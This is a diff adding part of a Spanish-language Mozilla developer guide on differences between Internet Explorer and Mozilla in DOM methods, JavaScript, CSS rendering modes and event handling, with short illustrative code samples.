+   <td>nodeType</td>
+   <td>Devuelve un valor numérico que indica el tipo del nodo actual.
+    <table>
+     <tbody>
+      <tr>
+       <th>Valor</th>
+       <th>Descripción</th>
+      </tr>
+      <tr>
+       <td>1</td>
+       <td>Nodo elemento</td>
+      </tr>
+      <tr>
+       <td>2</td>
+       <td>Nodo atributo</td>
+      </tr>
+      <tr>
+       <td>3</td>
+       <td>Nodo de texto</td>
+      </tr>
+      <tr>
+       <td>4</td>
+       <td>Nodo de sección CDATA</td>
+      </tr>
+      <tr>
+       <td>5</td>
+       <td>Nodo de referencia a entidad</td>
+      </tr>
+      <tr>
+       <td>6</td>
+       <td>Nodo entidad</td>
+      </tr>
+      <tr>
+       <td>7</td>
+       <td>Nodo de instrucción de proceso</td>
+      </tr>
+      <tr>
+       <td>8</td>
+       <td>Nodo comentario</td>
+      </tr>
+      <tr>
+       <td>9</td>
+       <td>Nodo documento</td>
+      </tr>
+      <tr>
+       <td>10</td>
+       <td>Nodo tipo de documento</td>
+      </tr>
+      <tr>
+       <td>11</td>
+       <td>Nodo fragmento de documento</td>
+      </tr>
+      <tr>
+       <td>12</td>
+       <td>Nodo anotación</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td>nodeValue</td>
+   <td>Devuelve el valor del nodo actual. Para aquellos nodos que contentan texto, tales como los nodos de texto o los nodos comentario, se devolverá su valor alfabético. Para nodos atributo, se devolverá el valor de su atributo. Para el resto de nodos, se devolverá <code>null</code>.</td>
+  </tr>
+  <tr>
+   <td>ownerDocument</td>
+   <td>Devuelve el objeto <code>document</code> que contiene al nodo actual.</td>
+  </tr>
+  <tr>
+   <td>parentNode</td>
+   <td>Devuelve el nodo padre del nodo actual.</td>
+  </tr>
+  <tr>
+   <td>previousSibling</td>
+   <td>Devuelve el nodo inmediatamente anterior al nodo actual.</td>
+  </tr>
+  <tr>
+   <td>removeAttribute( nombre)</td>
+   <td>Elimina el atributo especificado del nodo actual.</td>
+  </tr>
+  <tr>
+   <td>setAttribute( nombre, valor )</td>
+   <td>Establece el valor de un atributo.</td>
+  </tr>
+ </tbody>
+</table>
+<p>Internet Explorer se comporta de un modo no estándar donde muchas de estas APIs ignorarán los nodos de texto en blanco que son generados, por ejemplo, mediante caracteres de nueva línea. Mozilla no las ignora por lo que a veces se necesita distinguir a estos nodos. Cada nodo posee la propiedad <code>nodeType</code> que especifica el tipo de nodo. Por ejemplo, un nodo elemento es de tipo 1 mientras que un nodo de texto es de tipo 3, un nodo comentario es de tipo 8, etc... La mejor forma de procesar sólo los nodos elemento es iterar todos los nodos hijos y procesar sólo aquellos cuya propiedad nodeType sea igual a 1:</p>
+<pre>HTML:
+  &lt;div id="foo"&gt;
+    &lt;span&gt;Test&lt;/span&gt;
+  &lt;/div&gt;
+
+JavaScript:
+  var myDiv = document.getElementById("foo");
+  var myChildren = myXMLDoc.childNodes;
+  for (var i = 0; i &lt; myChildren.length; i++) {
+    if (myChildren[i].nodeType == 1){
+      // Nodo elemento
+    };
+  };
+</pre>
+<h4 id="Generar_y_manejar_contenidos" name="Generar_y_manejar_contenidos">Generar y manejar contenidos</h4>
+<p>Mozilla soporta los métodos heredados para añadir contenido al DOM dinámicamente, tales como <code>document.write</code>, <code>document.open</code> y <code>document.close</code>. Mozilla también soporta el método de Internet Explorer <code>innerHTML</code> el cual puede ser llamado desde casi cualquier nodo. Sin embargo no soporta el método <code>outerHTML</code> (que añade marcado alrededor de un elemento y no tiene un equivalente estándar) ni <code>innerText</code> (el cual establece el valor alfabético de su nodo y que puede usarse en Mozilla usando <code>textContent</code>).</p>
+<p>Internet Explorer tiene varios métodos de manejo de contenidos que no son estándares y no son soportados en Mozilla, incluyendo obtener valores, insertar texto e insertar elementos adyacentes a un nodo tales como <code>getAdjacentElement</code> y <code>insertAdjacentHTML</code>. La tabla 3 muestra cómo el manipulan contenidos tanto Mozilla como el estándar del W3C, siendo todos ellos métodos aplicables a cualquier nodo del DOM.</p>
+<table class="standard-table">
+ <caption>
+  Tabla 3. Métodos usados por Mozilla para manipular contenidos</caption>
+ <tbody>
+  <tr>
+   <th>Método</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td>appendChild( nodo )</td>
+   <td>Crea un nuevo nodo hijo. Devuelve una referencia al nuevo nodo hijo.</td>
+  </tr>
+  <tr>
+   <td>cloneNode( profundidad )</td>
+   <td>Crea y devuelve una copia del nodo sobre el que se hace la llamada. Si <em>profundidad</em> es true, copia el sub-árbol completo del nodo.</td>
+  </tr>
+  <tr>
+   <td>createElement( tipo )</td>
+   <td>Crea y devuelve un nuevo nodo huérfano de tipo igual al especificado por <em>tipo</em>.</td>
+  </tr>
+  <tr>
+   <td>createTextNode( valor )</td>
+   <td>Crea y devuelve un nuevo nodo de texto huérfano asignándole el valor especificado por <em>valor</em>.</td>
+  </tr>
+  <tr>
+   <td>insertBefore( nuevoNodo, nodoHijo )</td>
+   <td>Inserta el nodo <em>nuevoNodo</em> antes de <em>nodoHijo</em>, el cual debe ser un hijo del nodo actual.</td>
+  </tr>
+  <tr>
+   <td>removeChild( nodoHijo )</td>
+   <td>Elimina el nodo <em>nodoHijo</em> y devuelve una referencia a él.</td>
+  </tr>
+  <tr>
+   <td>replaceChild( nuevoNodo, nodoHijo )</td>
+   <td>Reemplaza el nodo <em>nodoHijo</em> con el nodo <em>nuevoNodo</em> y devuelve una referencia al nodo eliminado.</td>
+  </tr>
+ </tbody>
+</table>
+<h4 id="Fragmentos_de_documento" name="Fragmentos_de_documento">Fragmentos de documento</h4>
+<p>Por razones de eficiencia, pueden crearse documentos en memoria en lugar de trabajar con el DOM de un documento existente. El núcleo del DOM nivel 1 introdujo los fragmentos de documento, que son documentos ligeros que contienen un subconjunto de las interfaces de un documento normal. Por ejemplo, <code>getElementById</code> no existe pero <code>appendChild</code> sí. Además se pueden anexar fácilmente fragmentos de documento a los ya existentes.</p>
+<p>Mozilla crea fragmentos de documento a través de <code>document.createDocumentFragment()</code>, el cual devuelve un fragmento de documento vacío.</p>
+<p>Sin embargo, la implementación de Internet Explorer para los fragmentos de documentos no es compatible con el estándar del W3C y simplemente devuelve un documento normal.</p>
+<h3 id="Diferencias_en_JavaScript" name="Diferencias_en_JavaScript">Diferencias en JavaScript</h3>
+<p><span class="comment">Buscar traducción adecuada para hooks DOM. "timing related" traducido como "duración de la ejecución"</span></p>
+<p>Por lo general, la mayoría de las diferencias entre Mozilla e Internet Explorer son las de JavaScript. Sin embargo, los problemas normalmente residen en las APIs que un navegador muestra a JavaScript, tales como hooks de DOM. A nivel del núcleo, los dos navegadores no poseen grandes diferencias. Los problemas se encuentran frecuentemente en la duración de la ejecución.</p>
+<h4 id="Diferencias_en_las_fechas_de_JavaScript" name="Diferencias_en_las_fechas_de_JavaScript">Diferencias en las fechas de JavaScript</h4>
+<p>La única diferencia en el objeto <code>Date</code> es el método <code>getYear</code>. Para la especificación ECMAScript (que es la que sigue JavaScript), el método no es compatible con el efecto 2000 y al ejecutar <code>new Date().getYear()</code> en 2004 se obtendrá un valor igual a "104". Para la especificación ECMAScript, <code>getYear</code> devuelve el año menos 1900 lo cual devolvía "98" para 1998. <code>getYear</code> quedó obsoleto en la versión 3 de ECMAScript y fue reemplazado por <code>getFullYear</code>. Internet Explorer cambió la implementación de <code>getYear</code> para que funcionara como <code>getFullYear</code> y fuese así compatible con el efecto 2000, mientras que Mozilla mantuvo el comportamiento estándar.</p>
+<h4 id="Diferencias_de_ejecuci.C3.B3n_en_JavaScript" name="Diferencias_de_ejecuci.C3.B3n_en_JavaScript">Diferencias de ejecución en JavaScript</h4>
+<p>Diferentes navegadores ejecutarán JavaScript de modo distinto. Por ejemplo, el siguiento código asume que el nodo <code>div</code> ya existe en el DOM en el momento en el que el bloque <code>script</code> se ejecuta:</p>
+<pre>...
+&lt;div id="foo"&gt;Cargando...&lt;/div&gt;
+
+&lt;script&gt;
+  document.getElementById("foo").innerHTML = "Cargado.";
+&lt;/script&gt;
+</pre>
+<p>Sin embargo esto no está garantizado. Para asegurarnos de que todos los elementos existen se debería usar el manejador de evento <code>onload</code> en la etiqueta <code>&lt;body&gt;</code>:</p>
+<pre>&lt;body onload="doFinish();"&gt;
+
+&lt;div id="foo"&gt;Cargando...&lt;/div&gt;
+
+&lt;script&gt;
+  function doFinish() {
+    var element = document.getElementById("foo");
+    element.innerHTML = "Cargado.";
+  }
+&lt;/script&gt;
+...
+</pre>
+<p>Tales problemas relativos a la duración de la ejecución están también relacionados con el hardware; los sistemas más lentos pueden mostar fallos que los más rápidos no provocan. Un ejemplo en concreto se puede encontrar en <code>window.open</code>, el cual abre una nueva ventana:</p>
+<pre>&lt;script&gt;
+  function doOpenWindow(){
+    var myWindow = window.open("about:blank");
+    myWindow.location.href = "http://www.ibm.com";
+  }
+&lt;/script&gt;
+</pre>
+<p>El problema con el código es que <code>window.open</code> es asíncrono lo que implica que no se bloquee la ejecución de JavaScript hasta que la ventana haya terminado de cargarse. Por tanto, se puede ejecutar la línea siguiente a la línea <code>window.open</code> antes de que la nueva ventana haya terminado de cargarse. Se puede lidiar con esto poniendo un manejador <code>onload</code> en la nueva ventana y luego llamar desde ahí a la ventana padre (usando <code>window.opener</code>).</p>
+<h4 id="Diferencias_en_la_generaci.C3.B3n_HTML_de_JavaScript" name="Diferencias_en_la_generaci.C3.B3n_HTML_de_JavaScript">Diferencias en la generación HTML de JavaScript</h4>
+<p>JavaScript puede generar, a través de <code>document.write</code>, código HTML al vuelo a partir de una cadena de texto. El principal problema es cuando JavaScript está embebido dentro del documento HTML (es decir, dentro de la etiqueta <code>&lt;script&gt;</code>) y genera HTML que contiene una etiqueta <code>&lt;script&gt;</code>. Si el documento está en modo estricto de visualización, entonces se analizará la etiqueta <code>&lt;/script&gt;</code> que se halla dentro de la cadena como la etiqueta de cierre de la etiqueta <code>&lt;script&gt;</code> que la contiene. El siguiente código ilustra mejor esto:</p>
+<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+...
+&lt;script&gt;
+  document.write("&lt;script type='text\/javascript'&gt;alert('Hola');&lt;\/script&gt;")
+&lt;/script&gt;
+</pre>
+<p>Dado que la página está en modo estricto, el analizador de Mozilla verá el primer <code>&lt;script&gt;</code> y lo analizará hasta que encuentre la etiqueta de cierre correspondiente, que será cuando encuentre el primer <code>&lt;/script&gt;</code>. Se hace así porque el analizador no tiene conocimiento de la existencia de JavaScript (o cualquier otro lenguaje) cuando está en modo estricto. En modo quirks, el analizador conoce de la existencia de JavaScript cuando trabaja (algo que lo ralentiza). Internet Explorer siempre funciona en modo quirks porque no soporta el auténtico XHTML. Para hacer que esto funcione en modo estricto en Mozilla se puede separar la cadena en dos partes:</p>
+<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+...
+&lt;script&gt;
+  document.write("&lt;script type='text\/javascript'&gt;alert('Hola');&lt;/" + "script&gt;")
+&lt;/script&gt;
+</pre>
+<h4 id="Depurando_JavaScript" name="Depurando_JavaScript">Depurando JavaScript</h4>
+<p>Mozilla proporciona varias formas de depurar los fallos relacionados con JavaScript encontrados en las aplicaciones creadas para Internet Explorer. La primera herramienta es la consola integrada de JavaScript, mostrada en la figura 1, donde los errores y los avisos quedan registrados. Puedes acceder a ella en Mozilla yendo al menú <strong>Herramientas -&gt; Desarrollo web -&gt; Consola JavaScript</strong>, en Firefox 2.0 (el navegador ligero de Mozilla) en <strong>Herramientas -&gt; Consola de errores</strong>.</p>
+<p>Figura 1. Consola JavaScript</p>
+<p><img alt="Javascript Console"></p>
+<p>La consola JavaScript puede mostrar el registro completo o sólo los errores, avisos o mensajes. El mensaje de error de la figura 1 dice que en aol.com, la línea 95 ha intentado acceder a una variable no definida llamada is_ns70. Al hacer clic en el enlace se abrira el visualizador de código interno de Mozilla con la línea en cuestión resaltada.</p>
+<p>La consola además permite evaluar JavaScript. Para probar la sintaxis de JavaScript introducida, se puede escribir <code>1+1</code> en el campo de entrada y pulsar <strong>Evaluar</strong>, como muestra la figura 2.</p>
+<p>Figure 2. Evaluación en la consola de JavaScript</p>
+<p><img alt="JavaScript Console evaluating"></p>
+<p>El motor de JavaScript en Mozilla tiene integrado el soporte para la depuración convirtiéndose así en una potente herramienta para los desarrolladores de JavaScript. Venkman, mostrado en la figura 3, es un potente depurador multinavegador para JavaScript que se integra con Mozilla. Generalmente es empaquetado con los lanzamientos de Mozilla y puede ser encontrado en <strong>Herramientas -&gt; Desarrollo web -&gt; Depurador Javascript</strong>. En Firefox, el navegador no viene incluido. En lugar de eso, se puede descargar e instalar desde la <a class="external" href="http://www.mozilla.org/projects/venkman/">página del proyecto Venkman</a>. Además se pueden encontrar tutoriales en la página de desarrollo, ubicada en la <a class="external" href="http://www.hacksrus.com/%7Eginda/venkman/">página de desarrollo de Venkman</a>.</p>
+<p>Figura 3. Depurador de JavaScript de Mozilla</p>
+<p><img alt="Mozilla's JavaScript debugger"></p>
+<p>El depurador de JavaScript puede depurar el código JavaScript que se ejecuta en la ventana del navegador de Mozilla. Soporta características estándar de depuración tales como puntos de interrupciones, revisión de la pila de llamadas e inspección de variables/objetos. Todas las caracterísitcas son accesibles a través de la interfaz de usuario y a través de la consola interactiva del depurador. Con la consola, se puede ejecutar código JavaScript arbitrario del mismo ámbito en el que JavaScript está siendo depurado.</p>
+<h3 id="Diferencias_en_CSS" name="Diferencias_en_CSS">Diferencias en CSS</h3>
+<p>Todos los productos basados en Mozilla poseen un fuerte soporte para CSS (hojas de estilo en cascada), en comparación con Internet Explorer y el resto de navegadores, ya que soportan la mayoría de CSS 1, CSS 2.1 y parte de CSS 3.</p>
+<p>Para la mayoría de los problemas que se mostrarán a continuación, Mozilla mostrará un aviso o un error en la consola JavaScript. Se aconseja comprobar la consola JavaScript si se encuentran problemas relacionados con CSS.</p>
+<h4 id="Tipos_MIME_.28cuando_no_se_aplican_a_los_ficheros_CSS.29" name="Tipos_MIME_.28cuando_no_se_aplican_a_los_ficheros_CSS.29">Tipos MIME (cuando no se aplican a los ficheros CSS)</h4>
+<p>El problema más común relacionado con CSS ocurre cuando las definiciones CSS que se hallan dentro de los ficheros CSS referenciados no se aplican. Esto generalmente se debe a que el servidor envía un tipo MIME incorrecto para el fichero CSS. La especificación CSS dice que los ficheros CSS deberían ser servidos con el tipo MIME <code>text/css</code>. Mozilla respetará esto y sólo cargará los ficheros CSS con ese tipo MIME si la página web está en modo estricto de estándares. Internet Explorer siempre cargará el fichero CSS sin importar el tipo MIME con el que haya sido servido. Se considera que las páginas web están en modo estricto de estándares cuando comienzan con un doctype (tipo de documento) estricto. Para solventar este problema, se puede optar por hacer que el servidor envíe el tipo MIME correcto o eliminando el doctype. Se explicarán más a fondo los doctypes en la siguiente sección.</p>
+<h4 id="CSS_y_las_unidades" name="CSS_y_las_unidades">CSS y las unidades</h4>
+<p>Muchas aplicaciones web no usan unidades en sus hojas CSS, especialmente cuando se usa JavaScript para establecer el CSS. Mozilla permite esto sólo si la página no se visualiza en modo estricto. Dado que Internet Explorer no soporta el auténtico XHTML, no se preocupa por saber si se han especificado o no las unidades. Si la página está en modo estricto de estándares y no se usan unidades entonces Mozilla ignorará dicho estilo.</p>
+<pre class="eval">&lt;DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+  "<span class="nowiki">http://www.w3.org/TR/html4/strict.dtd</span>"&gt;
+&lt;html&gt;
+  &lt;head&gt;
+   &lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;
+   &lt;title&gt;CSS y unidades - Ejemplo&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    // funciona en modo estricto
+    &lt;div style="width: 40<span class="boldcode">px</span>; border: 1px solid black;"&gt;
+      Text
+    &lt;/div&gt;
+</pre>
+<pre class="eval">    // peta en modo estricto
+    &lt;div style="width: 40; border: 1px solid black;"&gt;
+      Text
+    &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p>Debido a que el ejemplo de antes tiene un doctype estricto, la página se visualizará en modo estricto de estándares. El primer div tendrá una anchura de 40px dado que se han usado unidades, pero el segundo div no tendrá anchura definida y se le asignará aquella por defecto (100%). Pasaría lo mismo si se estableciese la anchura a través de JavaScript.</p>
+<h4 id="JavaScript_y_CSS" name="JavaScript_y_CSS">JavaScript y CSS</h4>
+<p>Dado que Mozilla soporta los estándares CSS, también soporta el estándar DOM de CSS para poder establecer el estilo CSS a través de JavaScript. Se puede acceder a, eliminar y cambiar cualquier regla CSS de un elemento a través de su miembro <code>style</code>:</p>
+<pre>&lt;div id="myDiv" style="border: 1px solid black;"&gt;
+  Text
+&lt;/div&gt;
+
+&lt;script&gt;
+  var myElm = document.getElementById("myDiv");
+  myElm.style.width = "40px";
+&lt;/script&gt;
+</pre>
+<p>Igualmente se puede acceder a cada atributo CSS de la misma forma. De nuevo, si la página web está en modo estricto, se debe establecer una unidad o, en caso contrario, Mozilla ignorará el comando. Cuando se consulte un valor, digamos <code>.style.width</code>, Mozilla e Internet Explorer devolverán una cadena de texto incluyendo la unidad. Se puede convertir dicha cadena en un número a través de <code>parseFloat("40px")</code>.</p>
+<h4 id="Diferencias_en_la_propiedad_CSS_overflow" name="Diferencias_en_la_propiedad_CSS_overflow">Diferencias en la propiedad CSS overflow</h4>
+<p>Con CSS, se introduce el concepto de overflow que permite definir cómo se maneja el rebasamiento, por ejemplo, cuando la altura del contenido de un <code>div</code> es mayor que la altura del propio <code>div</code>. El estándar CSS indica que en caso de rebosamiento, si no se ha establecido dicho comportamiento, el contenido del <code>div</code> debe de rebosar.</p>
+<p>Sin embargo, Internet Explorer no cumple esto y alargará el <code>div</code> más allá de su altura hasta que pueda albergar correctamente su contenido. Más abajo hay un ejemplo que muestra esta diferencia:</p>
+<pre>&lt;div style="height: 100px; border: 1px solid black;"&gt;
+  &lt;div style="height: 150px; border: 1px solid red; margin: 10px;"&gt;
+    a
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+<p>Como se puede apreciar en la figura 4, Mozilla reacciona como especifican los estándares del W3C. Dichos estándares dicen que, en este caso, el <code>div</code> interior debería rebosar por la parte inferior dado que su contenido es más alto que el de su padre. Si se prefiere utilizar el comportamiento de Internet Explorer, simplemente no habría que especificar ninguna altura para el elemento exterior.</p>
+<p>Figura 4. Rebosamiento DIV</p>
+<p><img alt="DIV Overflow"></p>
+<h4 id="Diferencias_con_la_pseudoclase_:hover" name="Diferencias_con_la_pseudoclase_:hover">Diferencias con la pseudoclase :hover</h4>
+<p>El comportamiento no estándar de la pseudoclase CSS :hover ocurre en un gran número de sitios web. Generalmente se manifiesta por sí mismo cambiando el estilo de texto cuando el cursor del ratón se sitúa sobre un elemento en Mozilla, pero no en Internet Explorer. Esto es así porque el selector CSS <code>a:hover</code> en Internet Explorer coincide con <code>&lt;a href=""&gt;...&lt;/a&gt;</code> pero no con <code>&lt;a name=""&gt;...&lt;/a&gt;</code>, el cual establece los anclajes en HTML. El cambio de texto ocurre porque los autores encapsulan áreas con el etiquetado de anclajes:</p>
+<pre>CSS:
+  a:hover {color: green;}
+
+HTML:
+  &lt;a href="foo.com"&gt;Este texto debería volverse verde cuando el cursor del ratón se sitúe sobre él.&lt;/a&gt;
+
+  &lt;a name="anchor-name"&gt;
+    Este texto debería cambiar el color cuando fuese sobrevolado con el cursor pero no ocurre en Internet Explorer.
+  &lt;/a&gt;
+</pre>
+<p>Mozilla sigue la especificación CSS correctamente y cambiará el color a verde en este ejemplo. Se pueden utilizar dos formas para que Mozilla se comporte como Internet Explorer y no cambie el color del texto cuando éste sea sobrevolado:</p>
+<ul>
+ <li>Primero, se puede cambiar la regla CSS para que sea <code>a:link:hover {color: green;}</code>, lo que provocará que sólo se cambie el color si un elemento es un enlace (tiene un atributo <code>href</code>).</li>
+ <li>Alternativamente, es posible cambiar el marcado y cerrar la <code>&lt; a/&gt;</code> abierta antes de que empiece el texto; el anclaje continuará funcionando de este modo.</li>
+</ul>
+<h3 id="Modo_quirks_vs._modo_est.C3.A1ndar" name="Modo_quirks_vs._modo_est.C3.A1ndar">Modo quirks vs. modo estándar</h3>
+<p>Los antiguos navegadores, como Internet Explorer 4, visualizaban los documentos bajo ciertas condiciones con el llamado modo quirks (modo chapucero). Aunque Mozilla apunta a convertirse en un navegador respetuoso con los estándares, posee 3 modos que permiten soportar las antiguas páginas creadas para comportarse de ese modo tan peculiar. El contenido de la página y la forma en la que nos es enviada determinan el modo que Mozilla debe de utilizar. Mozilla muestra dicho modo en <strong>Ver -&gt; Información de página</strong> (o <code>Ctrl+I</code>) y Firefox lo hace en <strong>Herramientas -&gt; Información de la página</strong>. El modo en el que una página es visualizada depende de su doctype.</p>
+<p>Los doctypes (contracción inglesa para las declaraciones de tipos de documento) tiene este aspecto:</p>
+<p><code>&lt;!DOCTYPE HTML PUBLIC <span style="color: blue;">"-//W3C//DTD HTML 4.01 Transitional//EN"</span> <span style="color: green;">"<span class="nowiki">http://www.w3.org/TR/html4/loose.dtd</span>"</span>&gt;</code></p>
+<p>La parte azul es llamada identificador público, la verde es el identificador de sistema que es un URI.</p>
+<h4 id="Modo_est.C3.A1ndar" name="Modo_est.C3.A1ndar">Modo estándar</h4>
+<p>El modo estándar es el modo de visualización más estricto: visualizará las páginas según las especificaciones HTML y CSS del W3C y no permitirá ninguna chapuza. Mozilla lo usa bajo las siguientes condiciones:</p>
+<ul>
+ <li>Cuando una página es enviada con un tipo MIME igual a <code>text/xml</code> o cualquier otro tipo MIME XML o XHTML.</li>
+ <li>Con cualquier doctype "DOCTYPE HTML SYSTEM" (por ejemplo, <code>&lt;!DOCTYPE HTML SYSTEM "<span class="nowiki">http://www.w3.org/TR/REC-html40/strict.dtd</span>"&gt;</code>), exceptuando el doctype de IBM</li>
+ <li>Cuando se especifique un doctype desconocido o éste no esté asociado a un DTD.</li>
+</ul>
+<h4 id="Modo_casi_est.C3.A1ndar" name="Modo_casi_est.C3.A1ndar">Modo <em>casi</em> estándar</h4>
+<p>Mozilla introdujo el modo <em>casi</em> estándar por una razón: una sección en la especificación CSS 2 daba al traste con los diseños que se basaban en la maquetación con tablas que contenían pequeñas imágenes. El usuario, en lugar de ver una imagen completa, veía cada imagen separada con un pequeño espacio en blanco. La antigua página de IBM mostrada en la figura 5 es un ejemplo de ello.</p>
+<p>Figura 5. Hueco en imágenes</p>
+<p><img alt="Image Gap"></p>
+<p>El modo <em>casi</em> estándar se comporta de modo muy parecido al modo estándar exceptuando el problema del hueco en imágenes. Este problema ocurre frecuentemente en páginas diseñadas acorde a los estándares y hace que se muestren incorrectamente.</p>
+<p>Mozilla utiliza el modo <em>casi</em> estándar bajo las siguientes condiciones:</p>
+<ul>
+ <li>Ante cualquier doctype de tipo "loose" (obsoleto), por ejemplo <code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"&gt;</code>, <code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "<span class="nowiki">http://www.w3.org/TR/html4/loose.dtd</span>"&gt;</code></li>
+ <li>Para el doctype de IBM (<code>&lt;!DOCTYPE html SYSTEM "<span class="nowiki">http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd</span>"&gt;</code>)</li>
+</ul>
+<p>Para más información, véase el <a href="/es/Im%C3%A1genes,_tablas_y_huecos_misteriosos" title="es/Imágenes,_tablas_y_huecos_misteriosos">problema de los huecos con imágenes</a></p>
+<h4 id="Modo_quirks" name="Modo_quirks">Modo quirks</h4>
+<p>Actualmente, el web está plagado de sitios con HTML no válido, además de marcado que sólo funciona gracias a fallos de ciertos navegadores. Los antiguos navegadores de Netscape, cuando eran los amos del mercado, tenían fallos. Cuando desembarcó Internet Explorer, plagió esos mismos fallos para poder visualizar correctamente las páginas de aquella época. Más tarde cuando los nuevos navegadores llegaron al mercado, la mayoría de estos fallos originales, usualmente llamados <strong>quirks</strong>, fueron mantenidos por razones de compatibilidad hacia atrás. Mozilla soporta muchos de estos fallos cuando visualiza páginas en modo quirks. Nótese que debido a estos quirks, las páginas se visualizan más lentamente que si estuvieran escritas para respetar los estándares. La mayoría de las páginas web son visualizadas utilizando este modo.</p>
+<p>Mozilla utiliza este modo cuando encuentra las siguientes condiciones:</p>
+<ul>
+ <li>Cuando no se ha especificado un doctype.</li>
+ <li>Cuando se ha especificado un doctype sin su identificador de sistema (por ejemplo, &lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"&gt;&lt;/code&gt;)</li>
+</ul>
+<p>Para más información, véase <a href="/es/Mozilla_Quirks_Mode_Behavior" title="es/Mozilla_Quirks_Mode_Behavior">Mozilla Quirks Mode Behavior</a> and <a href="/es/Mozilla's_DOCTYPE_sniffing" title="es/Mozilla's_DOCTYPE_sniffing">Mozilla's DOCTYPE sniffing</a>.</p>
+<h3 id="Diferencias_en_eventos" name="Diferencias_en_eventos">Diferencias en eventos</h3>
+<p>Mozilla e Internet Explorer son prácticamente incompatibles en cuanto al manejo de eventos se refiere. El modelo de eventos de Mozilla sigue al del W3C y al de Netscape. En Internet Explorer, si una función es llamada desde un evento, se puede acceder al objeto <code>event</code> a través de <code>window.event</code>. En cambio Mozilla pasa un objeto <code>event</code> a los manejadores de eventos. Éstos deben de pasar específicamente el objeto a la función llamada a través de un argumento. A continuación se muestra un ejemplo multiplataforma de manejador de evento:</p>
+<pre>&lt;div onclick="handleEvent(event);"&gt;Click me!&lt;/div&gt;
+
+&lt;script&gt;
+  function handleEvent(evento) {
+    // if evento es null, significa que es el modelo de eventos de IE
+    // así que se utiliza window.event
+    var miEvento = evento ? evento : window.event;
+  }
+&lt;/script&gt;
+</pre>
+<p>A veces, esto no funciona ya que Internet Explorer <em>coge</em> el parámetro <code>evento</code>, identificándolo como no nulo, lo que en el códico provoca que no se pueda asignar window.event. La solución consiste en comprobar la propiedad window.event:</p>
+<pre>&lt;div onclick="handleEvent(event);"&gt;Click me!&lt;/div&gt;
+
+&lt;script&gt;
+  function handleEvent(aEvent) {
+    var myEvent = window.event ? window.event : aEvent;
+  }
+&lt;/script&gt;
+</pre>
+<p>Las propiedades y funciones que el objeto <code>event</code> muestra son nombradas con frecuencia de forma diferente entre Mozilla e Internet Explorer, como muestra la tabla 4:</p>
+<table class="standard-table">
+ <caption>
+  Tabla 4. Diferencias entre las propiedades de eventos entre Mozilla e Internet Explorer</caption>
+ <tbody>
+  <tr>
+   <th>Nombre en Internet Explorer</th>
+   <th>Nombre en Mozilla</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td>altKey</td>
+   <td>altKey</td>
+   <td>Propiedad booleana que indica si la tecla <code>alt</code> estaba pulsada durante el evento.</td>
+  </tr>
+  <tr>
+   <td>cancelBubble</td>
+   <td>stopPropagation()</td>
+   <td>Usado para evitar que el evento sea propagado hacia los elementos ancestros en el árbol.</td>
+  </tr>
+  <tr>
+   <td>clientX</td>
+   <td>clientX</td>
+   <td>Coordenada X del evento, relativa al viewport.</td>
+  </tr>
+  <tr>
+   <td>clientY</td>
+   <td>clientY</td>
+   <td>Coordenada Y del evento, relativa al viewport.</td>
+  </tr>
+  <tr>
+   <td>ctrlKey</td>
+   <td>ctrlKey</td>
+   <td>Propiedad booleana que indica si la tecla <code>Ctrl</code> estaba pulsada durante el evento.</td>
+  </tr>
+  <tr>
+   <td>fromElement</td>
+   <td>relatedTarget</td>
+   <td>Para eventos de ratón, es el elemento desde el que partió el cursor del ratón.</td>
+  </tr>
+  <tr>
+   <td>keyCode</td>
+   <td>keyCode</td>
+   <td>Para eventos de teclado, es el número que representa a la tecla que estaba pulsada. 0 para los eventos de ratón.</td>
+  </tr>
+  <tr>
+   <td>returnValue</td>
+   <td>preventDefault()</td>
+   <td>Usado para evitar que se ejecute la acción por defecto del evento.</td>
+  </tr>
+  <tr>
+   <td>screenX</td>
+   <td>screenX</td>
+   <td>Coordenada X del evento, relativa a la pantalla.</td>
+  </tr>
+  <tr>
+   <td>screenY</td>
+   <td>screenY</td>
+   <td>Coordenada Y del evento, relativa a la pantalla.</td>
+  </tr>
+  <tr>
+   <td>shiftKey</td>
+   <td>shiftKey</td>
+   <td>Propiedad booleana que indica si la tecla <code>shift</code> estaba pulsada durante el evento.</td>
+  </tr>
+  <tr>
+   <td>srcElement</td>
+   <td>target</td>
+   <td>El elemento que provocó el evento.</td>
+  </tr>
+  <tr>
+   <td>toElement</td>
+   <td>currentTarget</td>
+   <td>Para eventos de ratón, es el elemento al que el ratón se dirigió cuando terminó el mismo.</td>
+  </tr>
+  <tr>
+   <td>type</td>
+   <td>type</td>
+   <td>Devuelve el nombre del evento.</td>
+  </tr>
+ </tbody>
+</table>
+<h4 id="A.C3.B1adir_manejadores_de_eventos" name="A.C3.B1adir_manejadores_de_eventos">Añadir manejadores de eventos</h4>
+<p>Mozilla posee dos formas de añadir eventos a través de JavaScript. El primero, soportado por todos los navegadores, consiste en establecer propiedades de eventos directamente en los objetos. Para asignar un manejador de evento al evento <code>click</code> hay que pasar una referencia a dicha función manejadora a la propiedad <code>onclick</code> del objeto.</p>
+<pre>&lt;div id="myDiv"&gt;Click me!&lt;/div&gt;
+
+&lt;script&gt;
+  function handleEvent(aEvent) {
+    // if aEvent is null, means the Internet Explorer event model,
+    // so get window.event.
+    var myEvent = aEvent ? aEvent : window.event;
+  }
+
+  function onPageLoad(){
+    document.getElementById("myDiv").onclick = handleEvent;
+  }
+&lt;/script&gt;
